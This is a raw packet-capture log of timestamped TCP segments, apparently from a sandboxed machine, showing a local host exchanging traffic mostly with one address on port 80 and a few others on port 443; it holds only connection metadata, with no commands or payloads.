Nov 23, 2024 01:14:26.619108915 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.619133949 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.619466066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.619550943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.619575977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.619641066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.623447895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.623544931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.690790892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.690906048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.691014051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.693173885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.693222046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.693240881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.693319082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.697849989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.697901964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.697931051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.698113918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.702352047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.702410936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.702501059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.702541113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.707027912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.707076073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.707257986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.707324028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.711760998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.711872101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.712064028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.712938070 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:26.713226080 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:26.713237047 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:26.714713097 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:26.714782000 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:26.715775013 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:26.715852976 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:26.716470003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.716576099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.716629982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.721159935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.721236944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.721246958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.721296072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.725873947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.725938082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.725943089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.726008892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.730596066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.730648994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.730700970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.730817080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.735285044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.735390902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.735555887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.739999056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.740070105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.740101099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.740274906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.744714975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.744781971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.744812012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.744856119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.749399900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.749466896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.749497890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.749602079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.754089117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.754146099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.754205942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.754343033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.758820057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.758907080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.758953094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.763533115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.763657093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.763732910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.768260002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.768311024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.768381119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.768474102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.772952080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.773015022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.773050070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.773094893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.777658939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.777707100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.777766943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.777816057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.782352924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.782409906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.782411098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.782741070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.820799112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.820878029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.820913076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.820955992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.823185921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.823266029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.823301077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.823340893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.827883005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.828107119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.856781006 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:26.856789112 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:26.892077923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.892132044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.892261982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.892407894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.893490076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.893553972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.893611908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.893662930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.896312952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.896362066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.896445990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.896511078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.899132967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.899178982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.899246931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.899301052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.901890039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.901949883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.901983023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.902026892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.904649973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.904721975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.904756069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.904870033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.907341003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.907388926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.907460928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.907638073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.910029888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.910132885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.910137892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.910280943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.912708998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.912843943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.912928104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.915410042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.915433884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.915532112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.917996883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.918106079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.918165922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.920686960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.920767069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.920912027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.923306942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.923415899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.923417091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.923469067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.925952911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.925997972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.926026106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.926044941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.928639889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.928719997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.928725958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.928770065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.931251049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.931298971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.931349039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.931400061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.933902025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.933948040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.933990002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.934041977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.936574936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.936628103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.936664104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.936719894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.939202070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.939254999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.939322948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.939373970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.941863060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.941909075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.941982985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.942068100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.944511890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.944561958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.944621086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.944669008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.947161913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.947208881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.947264910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.947328091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.949460030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.949477911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.949506044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.949521065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.951632977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.951682091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.951728106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.951867104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.953819036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.953879118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.953915119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.954013109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.956012964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.956082106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.956116915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.956207037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.957602978 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.957690001 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.958213091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.958271980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.958317041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.958478928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.960442066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.960529089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.960573912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.962574005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.962636948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.962692976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.962737083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.964783907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.964833975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.972039938 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.972062111 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.972851038 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.980549097 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.980746031 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.980933905 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.982646942 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.984006882 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.984021902 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.984642982 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.984647989 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:26.984687090 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:26.984698057 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:27.024199963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.024235964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.024277925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.024298906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.025299072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.025408030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.025423050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.025590897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.027482033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.027534008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.027585983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.027641058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.029575109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.029669046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.029716015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.031781912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.031840086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.031869888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.032051086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.034897089 CET	49817	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.034924030 CET	443	49817	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.035168886 CET	49817	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.035367012 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.035387993 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.035537958 CET	49817	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.035556078 CET	443	49817	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.035620928 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.035710096 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.035721064 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.060692072 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:27.093312025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.093400002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.093427896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.093739033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.094116926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.094187975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.094228983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.094284058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.095753908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.095850945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.095928907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.097385883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.097438097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.097501040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.097553968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.099041939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.099083900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.099097967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.099158049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.100604057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.100656986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.100687027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.100853920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.102236032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.102284908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.102344036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.102392912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.103859901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.103909969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.103956938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.104010105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.105480909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.105598927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.105685949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.107109070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.107162952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.107208967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.107295036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.108743906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.108793020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.108834028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.108876944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.110359907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.110394955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.110402107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.110438108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.111975908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.112023115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.112032890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.112077951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.113698006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.113745928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.113842010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.113902092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.115263939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.115274906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.115319014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.115333080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.116910934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.116971016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.117042065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.117106915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.118482113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.118540049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.118597984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.118644953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.120134115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.120146990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.120203018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.121712923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.121766090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.121824026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.121874094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.123363018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.123599052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.123641968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.123747110 CET	49760	80	192.168.2.5	185.215.113.206
